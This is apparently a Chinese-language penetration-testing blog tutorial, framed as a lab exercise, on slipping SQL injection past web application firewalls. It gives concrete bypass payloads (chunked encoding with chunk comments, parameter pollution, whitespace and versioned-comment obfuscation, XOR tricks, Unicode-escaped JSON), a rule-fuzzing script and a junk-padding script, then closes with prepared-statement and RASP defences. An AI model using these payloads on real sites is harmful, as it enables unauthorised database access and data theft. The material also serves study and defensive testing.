0. 引言由于“安全感”引发的惨案“都 2024 年了谁还防不住 SQL 注入啊”“我们买了某某大厂的 WAF每年几十万这要是能被注进去我把键盘吃了。”这是我在上周的一次渗透测试前客户方的运维总监自信满满对我说的话。确实随着 ORM 框架的普及和预编译技术的强制使用低级的 SQL 注入漏洞正在急剧减少。而 WAF 作为企业安全的“护城河”似乎让 SQL 注入彻底成为了历史的尘埃。但事实真的如此吗SQL 注入并没有死它只是进化了。当开发人员过度依赖 WAF 而忽略代码层面的防御时所谓的“固若金汤”往往只是基于正则规则的纸老虎。今天我将以白帽子的视角还原一次真实的**WAF 绕过Bypass**全过程。我们将剥开 HTTP 协议的伪装深入数据库解析器的底层看看那些被 WAF 拦截的 Payload是如何通过“整容”和“伪装”成功骗过防火墙最终在数据库中执行的。⚠️ 免责声明本文仅用于网络安全教学与技术交流。文中演示的所有漏洞环境均为本地搭建的靶场基于 SQLi-Labs 与 ModSecurity切勿利用文中技术攻击未经授权的真实站点。维护网络安全人人有责。1. 战场侦察WAF 是怎么拦截你的在谈绕过之前我们必须先理解对手。WAFWeb 应用防火墙本质上是一个流量过滤器。1.1 WAF 的工作流当一个 HTTP 请求发起时它会经历以下流程数据库Web 服务器WAF 防火墙攻击者数据库Web 服务器WAF 防火墙攻击者正则匹配检测alt[规则命中][规则未命中]GET /id1 OR 11 --匹配到关键字 OR, 11403 Forbidden (拦截)转发请求SELECT * FROM users WHERE id1...返回数据200 OK1.2 为什么 WAF 并非无懈可击WAF 的核心痛点在于**“解析差异”。WAF 为了性能通常只进行正则匹配或轻量级解码**。而后端的 Web 服务器Nginx/Apache/IIS和数据库MySQL/Oracle对数据的解析逻辑极其复杂。只要 WAF 理解的数据 ≠ 数据库最终执行的数据绕过就产生了。2. 第一回合正面强攻与规则探测目标站点是一个经典的搜索框功能。URL:http://target.com/search.php?id12.1 基础 Payload 测试我尝试了教科书式的 Payload?id1AND11--结果页面瞬间变白返回403 Forbidden。这是典型的 WAF 拦截页面甚至还贴心地告诉你是“SQL Injection Detected”。2.2 模糊测试Fuzzing为了搞清楚 WAF 到底在防什么我们需要进行 Fuzzing。我编写了一个简单的 Python 脚本测试常见关键字的拦截情况。importrequests urlhttp://target.com/search.phpkeywords[select,union,from,and,or,order by,information_schema]print([*] 开始探测 WAF 规则...)forkeyinkeywords:payload{id:f1{key}1}try:rrequests.get(url,paramspayload)ifr.status_code403:print(f[x] 拦截:{key})else:print(f[v] 放行:{key})except:pass探测结果AND,OR-拦截UNION,SELECT-拦截空格-放行部分ORDER BY-拦截看来这个 WAF 的规则库非常全主流关键字都被拉黑了。硬碰硬是不行的我们必须开始玩“花活”。3. 第二回合HTTP 层面的降维打击实战技巧很多时候我们不需要修改 SQL 语句只需要在 HTTP 协议层面动动手脚就能让 WAF 变成“瞎子”。3.1 分块传输编码Chunked Transfer Encoding这是我最喜欢的绕过技巧之一。大多数 WAF 为了性能默认不支持或不完全支持 HTTP/1.1 的分块传输。原理我们将 HTTP Body 切割成多个小块发送。WAF 可能无法将所有块拼接完整进行检测或者只能检测前几个块而 Web 服务器会自动组装所有块。原始请求POST /search.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 21 id1 and 11 union select分块伪造请求POST /search.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked 2 id 2 1 4 and 3 1 1 1 5 unio 2 n ... 0实战结果直接发送WAF 依然拦截。为什么现在的云 WAF 基本都支持分块检测了。进阶技巧利用分块注释干扰。我在分块的大小Hex值后面加了注释这在 RFC 文档中是允许的但 WAF 解析器可能会崩溃或忽略。2; hello world id ...这次WAF 沉默了请求成功穿透3.2 HTTP 参数污染 (HPP)WAF 和 Web 服务器对重复参数的处理逻辑往往不同。ASP.NET / IISid1id2- 接收为1,2PHP / Apacheid1id2- 接收为2最后一个WAF通常只检测第一个或者尝试合并检测。攻击 Payload?id1/**id*/UNION/*id*/SELECT/*id*/1,2,3解析过程WAF 视角看到了多个id参数单个参数看起来都是无害的垃圾字符注释。Web 服务器视角 (假设 PHP)只取最后一个不。真实绕过逻辑我们可以构造?id1/**/union/*id*/select/*id*/1,user(),3如果 WAF 只是简单的匹配它看到的是被割裂的单词。如果是特定的中间件解析特性它会将它们拼接起来。4. 第三回合SQL 语法层面的“整容术”如果 HTTP 层面被防住了我们就得在 SQL 语句本身上下功夫。数据库特别是 MySQL的宽容度比你想象的要高得多。4.1 空格的七十二变WAF 通常死盯着空格因为 SQL 关键字之间必须有分隔符。拦截规则UNION\sSELECTBypass 技巧在 MySQL 中空白字符不仅仅是空格0x20。%09(Tab)%0A(换行)%0B(垂直 Tab)%0C(换页)%0D(回车)%A0(不换行空格)/**/(内联注释)进阶 Payload?id1%0Aunion%0Cselect%A01,2,3很多 WAF 的正则只写了\s却忽略了%0C或%A0。4.2 内联注释与版本号MySQL 特有的语法/*! code */会被当作 SQL 语句执行而其他数据库会当作注释。更骚的操作是版本号执行。/*!50000 SELECT */表示如果 MySQL 版本 5.00.00 则执行。实战 Payload?id1/*!50000UnIoN*//*!50000SeLeCt*/user()这还不够WAF 可能会清洗掉/*!...*/。我们尝试垃圾字符填充?id1/*!12345UNION*//*!12345SELECT*/user()或者利用参数解析特性?id1.0unionselect1,2,3浮点数 id 在某些系统中合法但 WAF 可能没考虑到1.0union连在一起的情况。4.3 科学计数法与异或注入如果AND和OR被封死我们还有逻辑运算符。替代AND(URL 编码为%26%26)||替代OR(URL 编码为%7C%7C)XOR(异或)Payload:?id1XOR11-- 拦截?id1e0XOR11-- 放行原理1e0是科学计数法的 1。WAF 的正则可能匹配id\d\sXOR但没匹配到id[\de]\sXOR。5. 终极一击缓冲区溢出与混合编码经过前面的探测我发现这个 WAF 对 URL 解码做得很好但对过长的数据处理有问题。5.1 缓冲区溢出 (Buffer Overflow)很多 WAF 为了保证性能只会检测请求的前 8KB 或 16KB 数据。如果我在真正的 Payload 之前塞入 20KB 的垃圾数据呢# Python 构造超长 PayloadjunkA*50000payloadfid1 /*{junk}*/ union select 1,database(),3requests.post(url,datapayload)结果WAF 可能会因为处理超时或缓冲区满直接Bypass放行或者只检测了前面的垃圾注释漏掉了后面的UNION SELECT。在本次实战中我使用了JSON 格式 Unicode 编码的组合拳成功拿到了数据。最终 Payload目标支持 JSON 格式查询。{id:1\u0027 un\u0069on sel\u0065ct 1,user(),3 -- }WAF 试图解析 JSON但解码并不彻底而后端应用完全解析了 Unicode还原成了1 union select...成功提取了数据库版本。6. 防御如何真正修补看到这里你可能觉得“WAF 毫无用处”。错。WAF 依然是拦截 99% 脚本小子和自动化扫描器的利器。但要防御真正的定向攻击必须从代码根源入手。6.1 黄金法则预编译 (Prepared Statements)无论 WAF 是否存在这是防止 SQL 注入的唯一银弹。错误写法 (拼接)StringquerySELECT * FROM users WHERE id request.getParameter(id);正确写法 (预编译)StringquerySELECT * FROM users WHERE id ?;PreparedStatementpstmtconnection.prepareStatement(query);pstmt.setInt(1,Integer.parseInt(request.getParameter(id)));ResultSetresultspstmt.executeQuery();在使用预编译时数据库将 SQL 模板和数据分开发送。数据永远被视为内容而不会被解析为指令。无论我输入1 OR 11还是/*! UNION */它都只是一个普通的字符串。6.2 纵深防御 (RASP)应用运行时自我保护 (RASP) 技术正在取代传统 WAF。RASP 挂钩在 Java/PHP/Go 的底层解释器中它不关心流量长什么样只关心进入数据库执行的语句是什么。如果 RASP 检测到 SQL 语句结构发生了改变例如多了一个UNION直接拦截。7. 总结与反思SQL 注入已死只要还有人在拼接字符串它就永远不会死。WAF 绕过是一场永无止境的猫鼠游戏。作为攻击者我们在寻找 WAF 解析逻辑与数据库解析逻辑之间的**“语义间隙”**作为防御者我们必须缩小这个间隙。本次实战核心知识点图谱WAF 绕过技术架构层协议层语法层寻找真实IP利用 CDN 特性分块传输 ChunkedHPP 参数污染畸形 HTTP 包空白字符替换内联注释等价函数替换编码混淆 (Hex/Unicode)常见问题 (FAQ)Q: 为什么我用了 Base64 编码WAF 还能识别A:现在的 WAF 都很智能会自动尝试 Base64、Hex、URL 解码。单纯的编码通常无效需要结合混淆和协议特性。Q: 使用 HTTPS 能绕过 WAF 吗A:不能。WAF 通常部署在 SSL 卸载之后或者 WAF 本身就持有证书。它看到的是解密后的明文流量。Q: 只有 MySQL 有这些绕过技巧吗A:不是。Oracle、SQL Server、PostgreSQL 都有各自的特性。例如 PostgreSQL 的$$字符串界定符SQL Server 的空白字符特性等。你是否对文中提到的“分块传输绕过脚本”感兴趣点赞、收藏并评论“脚本”我将在下一篇博客中开源我自己编写的WAF-Bypass-Fuzzer工具源码教你如何自动化挖掘 WAF 的盲区